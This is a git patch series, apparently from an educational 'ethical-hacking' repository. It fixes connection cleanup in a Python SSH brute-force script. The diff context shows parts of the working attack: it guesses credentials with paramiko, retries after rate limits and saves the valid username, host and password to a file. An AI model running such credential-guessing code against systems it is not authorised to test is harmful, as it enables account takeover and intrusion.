From 6dcc1b46eee96fea05e46cbba42d3c262e3d47fe Mon Sep 17 00:00:00 2001 From: Michael Woolweaver Date: Tue, 5 Jan 2021 02:27:30 -0600 Subject: [PATCH 1/2] properly close ssh connection after successful connection --- ethical-hacking/bruteforce-ssh/bruteforce_ssh.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py index be7ade8a..bd5217a6 100644 --- a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py +++ b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py @@ -34,6 +34,7 @@ def is_ssh_open(hostname, username, password): else: # connection was established successfully print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") + client.close() return True @@ -56,4 +57,4 @@ def is_ssh_open(hostname, username, password): if is_ssh_open(host, user, password): # if combo is valid, save it to a file open("credentials.txt", "w").write(f"{user}@{host}:{password}") - break \ No newline at end of file + break From d4c969c08ec22e9aeec9a03768c9083d7bdff8d4 Mon Sep 17 00:00:00 2001 From: Michael Woolweaver Date: Tue, 5 Jan 2021 13:09:17 -0600 Subject: [PATCH 2/2] ensure ssh connection is always after we are done with it --- ethical-hacking/bruteforce-ssh/bruteforce_ssh.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py index bd5217a6..4246453a 100644 --- a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py +++ b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py @@ -22,20 +22,22 @@ def is_ssh_open(hostname, username, password): except socket.timeout: # this is when host is unreachable print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}") - return False + returning = False except paramiko.AuthenticationException: print(f"[!] Invalid credentials for {username}:{password}") - return False + returning = False except paramiko.SSHException: print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") # sleep for a minute time.sleep(60) - return is_ssh_open(hostname, username, password) + returning = is_ssh_open(hostname, username, password) else: # connection was established successfully print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") + returning = True + finally: client.close() - return True + return returning if __name__ == "__main__":